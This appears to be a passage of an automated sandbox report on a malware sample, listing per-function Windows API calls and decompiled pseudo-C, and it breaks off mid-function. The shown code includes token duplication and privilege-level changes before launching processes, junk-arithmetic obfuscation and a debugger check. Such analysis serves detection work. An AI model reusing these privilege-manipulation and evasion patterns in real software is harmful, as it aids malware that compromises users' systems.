GetCurrentProcess.KERNEL32(00001388), ref: 0040CDDC
WaitForSingleObject.KERNEL32(00000000), ref: 0040CDE3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0040CDF2
CreateThread.KERNEL32(00000000,00000000,0040CCD0,?,00000000,00000000), ref: 0040CE09
CloseHandle.KERNEL32(00000000), ref: 0040CE10
CloseHandle.KERNEL32(00000000), ref: 0040CE1D
FindAtomW.KERNEL32(?), ref: 0040CE60
DeleteAtom.KERNEL32 ref: 0040CE6A

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$CloseHandle$Token$Free$CreateInformationOpen$Alloc$File$AllocateAtomBlockEnvironmentErrorLastThreadWait$AccountCurrentDeleteDestroyDuplicateExitFindInitializeLengthLookupMultipleObjectObjectsReadSessionSingleSizeTerminateUserwsprintf
String ID:
API String ID: 2043767709-0
Opcode ID: 904782e3474b6ac66d5f17ef2f632b34b8be20a3388b8f59054fd43debb2ed0c
Instruction ID: 2f51f9cfb3102db694264e2fe34cac4fe6a489a608e7b0e9a69de1d976cf5f56
Opcode Fuzzy Hash: 904782e3474b6ac66d5f17ef2f632b34b8be20a3388b8f59054fd43debb2ed0c
Instruction Fuzzy Hash: 33517B71A40208EFDB14DFA4DD84BEEBBB5BB48304F508169E604A72D0DB785A05CFA8

Function 00408760, Relevance: 15.1, APIs: 10, Instructions: 97threadsleep

APIs

Part of subcall function 00407D40: wsprintfW.USER32 ref: 00407D91
Part of subcall function 00407D40: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00407DB7
Part of subcall function 00407D40: CloseHandle.KERNEL32(00000000), ref: 00407DCD

ExitThread.KERNEL32 ref: 004088B3

Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208,004290C8), ref: 004073F9
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407400
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040741A
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407421
Part of subcall function 004073E0: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00407475
Part of subcall function 004073E0: OpenProcessToken.ADVAPI32(00000000,00020008,00000000,00000018), ref: 0040757F
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,0000000D), ref: 0040770C
Part of subcall function 004073E0: GetLastError.KERNEL32 ref: 00407712
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000000), ref: 00407727
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 0040772E
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407753
Part of subcall function 004073E0: LookupAccountSidW.ADVAPI32(00000000,00000104,00000000,00000104,00000000,00000104,?), ref: 00407786
Part of subcall function 004073E0: wsprintfW.USER32 ref: 00407932
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407956
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 0040795D
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407972
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407987
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040799E
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079A5
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004079B1
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079B8

Part of subcall function 00407F80: OpenProcess.KERNEL32(02000000,00000000,?,?), ref: 0040801C
Part of subcall function 00407F80: ProcessIdToSessionId.KERNEL32(0000000D,00000000,0000000D), ref: 004080E0
Part of subcall function 00407F80: OpenProcessToken.ADVAPI32(00000000,000201EB,00000000), ref: 004080FE
Part of subcall function 00407F80: DuplicateTokenEx.ADVAPI32(00000000,02000000,00000000,00000001,00000001,00000000,00000000), ref: 00408129
Part of subcall function 00407F80: SetTokenInformation.ADVAPI32(00000000,0000000C,00000000,00000004), ref: 00408146
Part of subcall function 00407F80: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00004000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00408169
Part of subcall function 00407F80: GetLengthSid.ADVAPI32(00000000), ref: 0040818A
Part of subcall function 00407F80: SetTokenInformation.ADVAPI32(00000000,00000019,?,-00000008), ref: 004081A1
Part of subcall function 00407F80: FreeSid.ADVAPI32(00000000), ref: 004081AB
Part of subcall function 00407F80: SetTokenInformation.ADVAPI32(00000000,0000001B,00000000,00000004), ref: 004081CA
Part of subcall function 00407F80: CreateEnvironmentBlock.USERENV(00000000,00000000,00000001), ref: 004081DA
Part of subcall function 00407F80: wsprintfW.USER32 ref: 00408395
Part of subcall function 00407F80: CreateProcessAsUserW.ADVAPI32 ref: 00408483
Part of subcall function 00407F80: OpenProcessToken.ADVAPI32(00000020,000201EB,?,00000024), ref: 00408559
Part of subcall function 00407F80: CloseHandle.KERNEL32(?), ref: 00408576
Part of subcall function 00407F80: CloseHandle.KERNEL32(?), ref: 00408583
Part of subcall function 00407F80: DestroyEnvironmentBlock.USERENV(00000000,00000024), ref: 00408593
Part of subcall function 00407F80: CloseHandle.KERNEL32(00000000), ref: 0040859D
Part of subcall function 00407F80: CloseHandle.KERNEL32(00000000), ref: 004085CB
Part of subcall function 00407F80: CloseHandle.KERNEL32(00000000), ref: 004085D5

WaitForMultipleObjects.KERNEL32 ref: 00408801
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 00408819
Sleep.KERNEL32(00001388), ref: 00408824
TerminateProcess.KERNEL32(00000000,00000000), ref: 00408833
CreateThread.KERNEL32(00000000,00000000,00408760,?,00000000,00000000), ref: 0040884A
CloseHandle.KERNEL32(00000000), ref: 00408851
CloseHandle.KERNEL32(00000000), ref: 0040885E
FindAtomW.KERNEL32(?), ref: 004088A1
DeleteAtom.KERNEL32 ref: 004088AB

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Process$Heap$CloseHandle$Token$InformationOpen$CreateFree$Allocwsprintf$AtomBlockEnvironmentExitThread$AccountAllocateCodeDeleteDestroyDuplicateErrorFindInitializeLastLengthLookupMultipleObjectsSessionSleepTerminateUserWait
String ID:
API String ID: 216882783-0
Opcode ID: 79ec42f9d5182c913d2529969b63d6271116f37c6633756bd81f7108d0e9ec6f
Instruction ID: 4384ab30c905296ff9aaa2e5fa27002372e1ed08280596121c415f61e0d56f34
Opcode Fuzzy Hash: 79ec42f9d5182c913d2529969b63d6271116f37c6633756bd81f7108d0e9ec6f
Instruction Fuzzy Hash: EF415E75A41208EFDB14DFA4DD88BEE77B5FB48700F5081A9E605A72D0DB78AA01CF58

Function 00417E50, Relevance: 15.1, APIs: 10, Instructions: 67memory

APIs

GetProcessHeap.KERNEL32(00000008,00000208), ref: 00417E72
HeapAlloc.KERNEL32(00000000), ref: 00417E79
GetModuleFileNameW.KERNEL32(00000104,00000000,00000104), ref: 00417E94
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417EBD
HeapFree.KERNEL32(00000000), ref: 00417EC4
GetProcessHeap.KERNEL32(00000008,00000104), ref: 00417ED2
HeapAlloc.KERNEL32(00000000), ref: 00417ED9
GetLastError.KERNEL32 ref: 00417EFA
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417F09
HeapFree.KERNEL32(00000000), ref: 00417F10

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$ErrorFileLastModuleName
String ID:
API String ID: 2901756401-0
Opcode ID: c70a2649de8b1c0e80ebd2b5d6d3d502474be250f75d21eabf4528e2a05f2d82
Instruction ID: 45b25d04a1fc81186314d010eab53dd809a897abf1c4ba17674bad0932ce94dc
Opcode Fuzzy Hash: c70a2649de8b1c0e80ebd2b5d6d3d502474be250f75d21eabf4528e2a05f2d82
Instruction Fuzzy Hash: A221D6B4984208FFEB00DFA4DC88BEEBBB4FB49305F108599E911A7291C7785A84CF54

Function 00426C90, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 141

C-Code - Quality: 91%

			E00426C90() {
				char _v8;
				struct _OSVERSIONINFOA _v164;
				signed int _v168;
				signed int _v172;
				intOrPtr* _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				intOrPtr* _v192;
				signed int _v196;
				signed int _v200;
				signed int _v208;
				char _v212;
				signed int _v216;
				signed int _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				signed int* _v232;
				signed int _v240;
				intOrPtr _v244;
				intOrPtr _v256;
				intOrPtr _v264;
				intOrPtr _v268;
				signed int* _v276;
				intOrPtr _t114;

				_v196 = 0x46e3;
				_v220 = 0xf1;
				_v216 = (_v220 & 0x000000af) * _v196;
				_v212 = 0xf1362ece;
				_v196 = _v212 + _v212 + _v196;
				_v184 = 0x836e;
				asm("cdq");
				_v196 = _v196 - _v184 / (_v212 + 1);
				GetTickCount();
				_v224 = 0;
				while(_v224 < 3) {
					_v188 = 0xdc19;
					_v200 = _v188 - _v220;
					_v224 = _v224 + 1;
				}
				_v172 = 0xab46;
				_v172 = _v172 * _v184 * _v172;
				_v228 = 0;
				while(_v228 < 3) {
					_v240 = 0xfcd20caa;
					_v188 = 0xf8d409a1;
					asm("cdq");
					_v168 = _v240 / (_v188 + 1);
					_v8 = 0x5624;
					_v232 =  &_v8;
					asm("cdq");
					_v200 = ( *_v232 | 0x0000001e) / (_v220 + 1);
					_v228 = _v228 + 1;
				}
				GetEnvironmentStringsW();
				_v176 =  &_v212;
				_v192 =  &_v212;
				_v180 =  *_v176 +  *_v192;
				_v244 = 0;
				while(_v244 < 3) {
					_v256 = 0;
					while(_v256 < 2) {
						_v200 = 0xdb34;
						_v208 = 0xfc;
						_v184 = ((_v200 & _v208) + (_v196 | _v180)) * _v184;
						_v256 = _v256 + 1;
					}
					GetCommandLineA();
					_v264 = 0;
					while(_v264 < 1) {
						IsDebuggerPresent();
						_v264 = _v264 + 1;
					}
					_v244 = _v244 + 1;
				}
				_v268 = 0;
				while(_v268 < 2) {
					_v276 =  &_v220;
					asm("cdq");
					_v188 = _v180 / (_v220 + 1);
					GetEnvironmentStringsW();
					_v268 = _v268 + 1;
				}
				GetVersionExA( &_v164);
				_v200 = 0xf1ae1c43;
				_t114 = (_v200 | _v184) + _v200;
				_v8 = _t114;
				return _t114;
			}

0x00426c99
0x00426ca3
0x00426cbf
0x00426cc5
0x00426ce1
0x00426ce7
0x00426d00
0x00426d0b
0x00426d11
0x00426d17
0x00426d32
0x00426d3b
0x00426d51
0x00426d2c
0x00426d2c
0x00426d59
0x00426d77
0x00426d7d
0x00426d98
0x00426da1
0x00426dab
0x00426dc4
0x00426dc7
0x00426dcd
0x00426dd7
0x00426df1
0x00426df4
0x00426d92
0x00426d92
0x00426dfc
0x00426e08
0x00426e14
0x00426e2a
0x00426e30
0x00426e4b
0x00426e58
0x00426e73
0x00426e7c
0x00426e86
0x00426eb1
0x00426e6d
0x00426e6d
0x00426eb9
0x00426ebf
0x00426eda
0x00426ee3
0x00426ed4
0x00426ed4
0x00426e45
0x00426e45
0x00426ef0
0x00426f0b
0x00426f1a
0x00426f2f
0x00426f32
0x00426f38
0x00426f05
0x00426f05
0x00426f47
0x00426f4d
0x00426f63
0x00426f69
0x00426f6f

APIs

GetTickCount.KERNEL32 ref: 00426D11
GetEnvironmentStringsW.KERNEL32 ref: 00426DFC
GetCommandLineA.KERNEL32 ref: 00426EB9
IsDebuggerPresent.KERNEL32 ref: 00426EE3
GetEnvironmentStringsW.KERNEL32 ref: 00426F38
GetVersionExA.KERNEL32(?), ref: 00426F47

Strings

F, xrefs: 00426C99
$V, xrefs: 00426DCD

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnvironmentStrings$CommandCountDebuggerLinePresentTickVersion
String ID: $V$F
API String ID: 2018036079-3827305986
Opcode ID: 6ad7188352b4315c2e973e1c0d9d458831a094778fac87e5592d0dfc1c1cadcc
Instruction ID: d5ee9ad31f510f5afc0161f58350fe84fc456f6adf9c01e474a3e10a1560b9c6
Opcode Fuzzy Hash: 6ad7188352b4315c2e973e1c0d9d458831a094778fac87e5592d0dfc1c1cadcc
Instruction Fuzzy Hash: 5671DDB4A05229CFEB24CF58DD94BA8B7B1BB44308F1181DAC50DA7240C7B46EC9DF15

Function 0042B346, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 116

C-Code - Quality: 93%

			E0042B346(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t47;
				signed int _t52;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				long _t64;
				LONG* _t67;
				intOrPtr _t69;
				LONG* _t73;
				intOrPtr _t89;
				void* _t92;
				void* _t96;
				intOrPtr _t97;
				void* _t98;
				void* _t101;

				_t101 = __eflags;
				_t87 = __edx;
				_push(0x14);
				_push(0x43ae90);
				E004294C4(__ebx, __edi, __esi);
				 *(_t98 - 0x20) =  *(_t98 - 0x20) | 0xffffffff;
				_t89 = E00429061(__ebx, __edx, _t101);
				 *((intOrPtr*)(_t98 - 0x24)) = _t89;
				E0042B041(__ebx, __edx, _t89, __esi, _t101);
				_t47 = E0042B0E5( *((intOrPtr*)(_t98 + 8)));
				 *((intOrPtr*)(_t98 + 8)) = _t47;
				if(_t47 ==  *((intOrPtr*)( *(_t89 + 0x68) + 4))) {
					_t41 = _t98 - 0x20;
					 *_t41 =  *(_t98 - 0x20) & 0x00000000;
					__eflags =  *_t41;
					L26:
					return E00429509( *(_t98 - 0x20));
				}
				_t73 = E0042B5BD(0x220);
				_t103 = _t73;
				if(_t73 == 0) {
					goto L26;
				}
				_t96 =  *(_t89 + 0x68);
				memcpy(_t73, _t96, 0x88 << 2);
				_t92 = _t96 + 0x110;
				 *_t73 =  *_t73 & 0x00000000;
				_t52 = E0042B15F(0, _t87, _t103,  *((intOrPtr*)(_t98 + 8)), _t73);
				 *(_t98 - 0x20) = _t52;
				if(_t52 != 0) {
					__eflags = _t52 - 0xffffffff;
					if(_t52 == 0xffffffff) {
						__eflags = _t73 - 0x43e7e0;
						if(__eflags != 0) {
							_push(_t73);
							E0042B4FE(_t73, _t87, _t92, _t96, __eflags);
						}
						 *((intOrPtr*)(E00429AEF(__eflags))) = 0x16;
					}
				} else {
					_t97 =  *((intOrPtr*)(_t98 - 0x24));
					_t13 = _t97 + 0x68; // 0x59ffffe2
					if(InterlockedDecrement( *_t13) == 0) {
						_t14 = _t97 + 0x68; // 0x59ffffe2
						_t69 =  *_t14;
						_t106 = _t69 - 0x43e7e0;
						if(_t69 != 0x43e7e0) {
							_push(_t69);
							E0042B4FE(_t73, _t87, _t92, _t97, _t106);
						}
					}
					 *(_t97 + 0x68) = _t73;
					_t93 = InterlockedIncrement;
					InterlockedIncrement(_t73);
					if(( *(_t97 + 0x70) & 0x00000002) == 0 && ( *0x43ee04 & 0x00000001) == 0) {
						E00429908(_t73, _t87, InterlockedIncrement, 0xd);
						 *(_t98 - 4) =  *(_t98 - 4) & 0x00000000;
						 *0x43f678 = _t73[1];
						 *0x43f67c = _t73[2];
						 *0x43f680 = _t73[3];
						_t61 = 0;
						while(1) {
							 *(_t98 - 0x1c) = _t61;
							if(_t61 >= 5) {
								break;
							}
							 *((short*)(0x43f66c + _t61 * 2)) =  *((intOrPtr*)(_t73 + 0x10 + _t61 * 2));
							_t61 = _t61 + 1;
						}
						_t62 = 0;
						__eflags = 0;
						while(1) {
							 *(_t98 - 0x1c) = _t62;
							__eflags = _t62 - 0x101;
							if(_t62 >= 0x101) {
								break;
							}
							 *((char*)(_t62 + 0x43ea00)) =  *((intOrPtr*)( &(_t73[7]) + _t62));
							_t62 = _t62 + 1;
						}
						_t63 = 0;
						__eflags = 0;
						while(1) {
							 *(_t98 - 0x1c) = _t63;
							__eflags = _t63 - 0x100;
							if(_t63 >= 0x100) {
								break;
							}
							 *((char*)(_t63 + 0x43eb08)) =  *((intOrPtr*)( &(_t73[0x47]) + _t63));
							_t63 = _t63 + 1;
						}
						_t64 = InterlockedDecrement( *0x43ec08);
						__eflags = _t64;
						if(_t64 == 0) {
							_t67 =  *0x43ec08; // 0x43e7e0
							__eflags = _t67 - 0x43e7e0;
							if(__eflags != 0) {
								_push(_t67);
								E0042B4FE(_t73, _t87, _t93, _t97, __eflags);
							}
						}
						 *0x43ec08 = _t73;
						InterlockedIncrement(_t73);
						 *(_t98 - 4) = 0xfffffffe;
						E0042B4A7();
					}
				}
			}

0x0042b346
0x0042b346
0x0042b346
0x0042b348
0x0042b34d
0x0042b352
0x0042b35b
0x0042b35d
0x0042b360
0x0042b36b
0x0042b370
0x0042b376
0x0042b4d3
0x0042b4d3
0x0042b4d3
0x0042b4d7
0x0042b4df
0x0042b4df
0x0042b387
0x0042b389
0x0042b38b
0x00000000
0x00000000
0x0042b396
0x0042b39b
0x0042b39b
0x0042b39d
0x0042b3a4
0x0042b3ab
0x0042b3b0
0x0042b4b2
0x0042b4b5
0x0042b4b7
0x0042b4bd
0x0042b4bf
0x0042b4c0
0x0042b4c5
0x0042b4cb
0x0042b4cb
0x0042b3b6
0x0042b3b6
0x0042b3b9
0x0042b3c4
0x0042b3c6
0x0042b3c6
0x0042b3c9
0x0042b3ce
0x0042b3d0
0x0042b3d1
0x0042b3d6
0x0042b3ce
0x0042b3d7
0x0042b3db
0x0042b3e1
0x0042b3e7
0x0042b3fc
0x0042b402
0x0042b409
0x0042b411
0x0042b419
0x0042b41e
0x0042b420
0x0042b420
0x0042b426
0x00000000
0x00000000
0x0042b42d
0x0042b435
0x0042b435
0x0042b438
0x0042b438
0x0042b43a
0x0042b43a
0x0042b43d
0x0042b442
0x00000000
0x00000000
0x0042b448
0x0042b44e
0x0042b44e
0x0042b451
0x0042b451
0x0042b453
0x0042b453
0x0042b456
0x0042b45b
0x00000000
0x00000000
0x0042b464
0x0042b46a
0x0042b46a
0x0042b473
0x0042b479
0x0042b47b
0x0042b47d
0x0042b482
0x0042b487
0x0042b489
0x0042b48a
0x0042b48f
0x0042b487
0x0042b490
0x0042b497
0x0042b499
0x0042b4a0
0x0042b4a0
0x0042b3e7

APIs

Part of subcall function 0042B041: InterlockedDecrement.KERNEL32(?), ref: 0042B09A
Part of subcall function 0042B041: InterlockedIncrement.KERNEL32(0043E7E0), ref: 0042B0C5

Part of subcall function 0042B0E5: GetOEMCP.KERNEL32(00000000,?,0042890D), ref: 0042B10C
Part of subcall function 0042B0E5: GetACP.KERNEL32(00000000,?,0042890D), ref: 0042B12F

Part of subcall function 0042B5BD: Sleep.KERNEL32(00000000,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042B5DA

Part of subcall function 0042B15F: GetCPInfo.KERNEL32(00000000,0042B4F0,00000000,?,00000000,0043AE90), ref: 0042B1B5

InterlockedDecrement.KERNEL32(59FFFFE2), ref: 0042B3BC
InterlockedIncrement.KERNEL32(00000000), ref: 0042B3E1

Part of subcall function 00429908: EnterCriticalSection.KERNEL32(?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 00429930

InterlockedDecrement.KERNEL32 ref: 0042B473
InterlockedIncrement.KERNEL32(00000000), ref: 0042B497

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Strings

C, xrefs: 0042B4B7
C, xrefs: 0042B3C9
C, xrefs: 0042B482
C, xrefs: 0042B47D, 0042B490

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Interlocked$DecrementIncrement$CriticalEnterErrorFreeHeapInfoLastSectionSleep
String ID: C$C$C$C
API String ID: 2389022545-314530690
Opcode ID: 5ae62bf847b8e8706633a0fbff7edd1c3f0f681223300b3315b2190075292087
Instruction ID: 059eb276ea401dbece049bc9302de8bec975d5ea7e43591a75e3d339301f694f
Opcode Fuzzy Hash: 5ae62bf847b8e8706633a0fbff7edd1c3f0f681223300b3315b2190075292087
Instruction Fuzzy Hash: A941B631A00225ABDB10AF76E8C575A77E0EF04318F90956AE845D73A3CB7CDC81CB98

Function 00427590, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 76
thread

C-Code - Quality: 91%

			E00427590(signed int _a4, intOrPtr _a8) {
				intOrPtr* _v8;
				signed int _v12;
				struct _OSVERSIONINFOA _v164;
				signed int* _v168;
				char _v172;
				char _v176;
				intOrPtr* _v180;
				signed int _v184;
				signed int _v188;
				signed int* _v204;
				struct _OSVERSIONINFOA _v356;
				signed int _v360;
				signed int _v364;
				char _v368;
				intOrPtr* _v372;
				signed int _v376;
				signed int _v380;

				_v360 = 0xd7dc;
				_v172 = 0xdd;
				_v8 =  &_v360;
				_v180 =  &_v172;
				_v364 =  *_v8 -  *_v180;
				_v176 = 0x1e;
				_v372 =  &_v176;
				_a8 = (_v364 | 0xfaeb01c2) +  *_v372;
				GetVersionExA( &_v356);
				_v12 = 0xea9c;
				asm("cdq");
				_v184 = (_v360 & _v12) / (_v176 + 1);
				GetEnvironmentStringsW();
				GetCurrentThread();
				GetEnvironmentStringsW();
				_v368 = 0x98f6;
				_a4 = 0xfeb60aed;
				_v204 =  &_v368;
				_v184 =  *_v204 * _a4 + _v184;
				_v380 = 0x75;
				_v376 = 0xfa62f39e;
				_v188 = 0x46;
				_v176 = (_v380 | 0x00007860) * (_v376 | _v188) + _v176;
				GetCurrentThread();
				_v168 =  &_a4;
				asm("cdq");
				_v12 = (_v380 | _v364) / (_a4 + 1) * _v12;
				_v360 = (_v172 + _v364) * _v360;
				return GetVersionExA( &_v164);
			}

0x00427599
0x004275a3
0x004275b3
0x004275bc
0x004275cf
0x004275d5
0x004275e5
0x004275fe
0x00427608
0x0042760e
0x00427627
0x0042762a
0x00427630
0x00427636
0x0042763c
0x00427642
0x0042764c
0x00427659
0x00427671
0x00427677
0x00427681
0x0042768b
0x004276b6
0x004276bc
0x004276c5
0x004276dd
0x004276e4
0x004276fa
0x00427710

APIs

GetVersionExA.KERNEL32(?), ref: 00427608
GetEnvironmentStringsW.KERNEL32 ref: 00427630
GetCurrentThread.KERNEL32 ref: 00427636
GetEnvironmentStringsW.KERNEL32 ref: 0042763C
GetCurrentThread.KERNEL32 ref: 004276BC
GetVersionExA.KERNEL32(?), ref: 00427707

Strings

u, xrefs: 00427677
F, xrefs: 0042768B

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CurrentEnvironmentStringsThreadVersion
String ID: F$u
API String ID: 3142682809-1523666037
Opcode ID: 9d68bc4dc24e6abdc739ee16fe66988fc6b98ea4a48c2b1ddb95d61c3a1491d9
Instruction ID: e9aaab0bcad824c2983616c3e681fee9e613bc40c06861cb12d242a909d218cd
Opcode Fuzzy Hash: 9d68bc4dc24e6abdc739ee16fe66988fc6b98ea4a48c2b1ddb95d61c3a1491d9
Instruction Fuzzy Hash: 0C419B74A043289FDB68CF14CD88BDABBB6BF49304F0081DAD94DAB250DB756A84CF45

Function 0043794E, Relevance: 13.8, APIs: 9, Instructions: 341

C-Code - Quality: 93%

			E0043794E(int __ecx, int __edx, int _a4, int _a8, int _a12, char* _a16, int _a20, int _a24) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				char* _v32;
				signed int _v36;
				char* _v40;
				short* _v44;
				int _v48;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t93;
				int _t96;
				int _t99;
				short* _t113;
				short* _t115;
				short* _t118;
				signed int _t121;
				void* _t123;
				short* _t124;
				signed int _t126;
				void* _t128;
				short* _t129;
				char* _t131;
				char* _t134;
				signed int _t136;
				signed int _t139;
				long _t144;
				int _t145;
				int _t149;
				char _t159;
				void* _t160;
				signed int _t163;
				signed int _t164;
				short* _t168;
				signed int _t170;
				short* _t171;
				void* _t175;

				_t165 = __edx;
				_t93 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t93 ^ _t170;
				_t168 = 0;
				_t175 =  *0x43faac - _t168; // 0x0
				_t145 = __edx;
				_t169 = __ecx;
				_v40 = __edx;
				_v32 = _a16;
				if(_t175 == 0) {
					if(CompareStringW(0, 0, 0x439aac, 1, 0x439aac, 1) == 0) {
						_t144 = GetLastError();
						__eflags = _t144 - 0x78;
						if(_t144 == 0x78) {
							 *0x43faac = 2;
						}
					} else {
						 *0x43faac = 1;
					}
				}
				if(_a12 <= _t168) {
					__eflags = _a12 - 0xffffffff;
					if(_a12 >= 0xffffffff) {
						L11:
						_t165 = _a20;
						if(_t165 <= _t168) {
							__eflags = _t165 - 0xffffffff;
							if(_t165 < 0xffffffff) {
								goto L18;
							}
							L20:
							_t149 =  *0x43faac; // 0x0
							if(_t149 == 2 || _t149 == _t168) {
								_t168 = 0;
								_t145 = 0;
								__eflags = _a4;
								if(_a4 == 0) {
									_a4 =  *((intOrPtr*)( *_t169 + 0x14));
								}
								__eflags = _a24 - _t168;
								if(_a24 == _t168) {
									_a24 =  *((intOrPtr*)( *_t169 + 4));
								}
								_t169 = E004353EC(_t145, _t165, _t168, _t169, _a4);
								__eflags = _t169 - 0xffffffff;
								if(_t169 != 0xffffffff) {
									__eflags = _t169 - _a24;
									if(_t169 == _a24) {
										L89:
										_t99 = CompareStringA(_a4, _a8, _v40, _a12, _v32, _a20);
										__eflags = _t145;
										_t169 = _t99;
										if(__eflags != 0) {
											_push(_t145);
											E0042B4FE(_t145, _t165, _t168, _t169, __eflags);
											_push(_t168);
											E0042B4FE(_t145, _t165, _t168, _t169, __eflags);
										}
										_t96 = _t169;
										goto L92;
									}
									_t145 = E00435433(_t165, _a24, _t169, _v40,  &_a12, 0, 0);
									__eflags = _t145;
									if(_t145 == 0) {
										goto L18;
									}
									_t168 = E00435433(_t165, _a24, _t169, _v32,  &_a20, 0, 0);
									__eflags = _t168;
									if(__eflags != 0) {
										_v40 = _t145;
										_v32 = _t168;
										goto L89;
									}
									_push(_t145);
									E0042B4FE(_t145, _t165, _t168, _t169, __eflags);
								}
								goto L18;
							} else {
								_t96 = 1;
								if(_t149 != 1) {
									goto L18;
								}
								_v44 = _t168;
								if(_a24 == _t168) {
									_a24 =  *((intOrPtr*)( *_t169 + 4));
								}
								if(_a12 == _t168 || _t165 == _t168) {
									if(_a12 != _t165) {
										__eflags = _t165 - _t96;
										if(_t165 > _t96) {
											goto L92;
										}
										__eflags = _a12 - _t96;
										if(_a12 <= _t96) {
											_t113 = GetCPInfo(_a24,  &_v28);
											__eflags = _t113;
											if(_t113 == 0) {
												goto L18;
											}
											__eflags = _a12 - _t168;
											if(_a12 <= _t168) {
												__eflags = _a20 - _t168;
												if(_a20 <= _t168) {
													goto L51;
												}
												__eflags = _v28 - 2;
												if(_v28 >= 2) {
													__eflags = _v22;
													_t131 =  &_v22;
													if(_v22 == 0) {
														goto L44;
													} else {
														goto L46;
													}
													while(1) {
														L46:
														_t165 =  *((intOrPtr*)(_t131 + 1));
														__eflags = _t165;
														if(_t165 == 0) {
															goto L44;
														}
														_t159 =  *_v32;
														__eflags = _t159 -  *_t131;
														if(_t159 <  *_t131) {
															L49:
															_t131 = _t131 + 2;
															__eflags =  *_t131;
															if( *_t131 != 0) {
																continue;
															}
															goto L44;
														}
														__eflags = _t159 - _t165;
														if(_t159 <= _t165) {
															goto L28;
														}
														goto L49;
													}
												}
												L44:
